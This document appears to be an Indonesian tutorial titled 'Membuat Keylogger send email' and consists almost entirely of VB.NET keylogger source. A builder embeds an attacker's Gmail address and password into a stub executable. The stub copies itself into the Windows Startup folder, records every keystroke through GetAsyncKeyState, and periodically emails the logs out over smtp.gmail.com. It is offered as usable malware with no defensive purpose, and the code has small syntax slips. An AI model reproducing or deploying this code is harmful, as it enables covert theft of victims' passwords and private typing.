Membuat Keylogger send email+VD

Imports System.IO









Public Class Form1









Dim stub, text1, text2 As String









Const FileSplit = "@vorfin@"









Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) HandlesMyBase.Load









For Fadein = 0.0 To 1.1 Step 0.1









Me.Opacity = Fadein









Me.Refresh()









Threading.Thread.Sleep(100)









Next









End Sub









Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) HandlesButton1.Click









text1 = TextBox1.Text









text2 = TextBox2.Text









FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)









stub = Space(LOF(1))









FileGet(1, stub)









FileClose(1)









If File.Exists("Lserver.exe") Then









My.Computer.FileSystem.DeleteFile("Lserver.exe")









End If









FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)









FilePut(1, stub & FileSplit & text1 & FileSplit & text2)









FileClose(1)









End Sub
end class

mports System.IO






Imports System.Net.Mail






Public Class Form1






Dim result As Integer






Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer






Dim options(), text1, text2 As String






Const FileSplit = "@vorfin@"






Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)






Dim vDirectory As String






Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load






FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)






text1 = Space(LOF(1))






text2 = Space(LOF(1))






FileGet(1, text1)






FileGet(1, text2)






FileClose(1)






options = Split(text1, FileSplit)






TextBox2.Text = options(1)






TextBox3.Text = options(2)






vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"






Dim zDir As New DirectoryInfo(vDirectory)






If Not zDir.Exists Then






My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)






Else






My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)






End If






Timer1.Start()






Timer2.Start()






Timer3.Start()






End Sub






Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick






For i = 1 To 255






result = 0






result = GetAsyncKeyState(i)






If result = -32767 Then






TextBox1.Text = TextBox1.Text Chr(i)






End If






Next i






End Sub






Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick






Dim MyMailMessage As New MailMessage






MyMailMessage.From = New MailAddress(TextBox2.Text)






MyMailMessage.To.Add(TextBox2.Text)






MyMailMessage.Subject = ("Logs")






MyMailMessage.Body = (TextBox1.Text)






Dim SMTPServer As New SmtpClient("smtp.gmail.com")






SMTPServer.Port = 587






SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)






SMTPServer.EnableSsl = True






SMTPServer.Send(MyMailMessage)






End Sub






Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick






TextBox1.Clear()






End Sub






End Class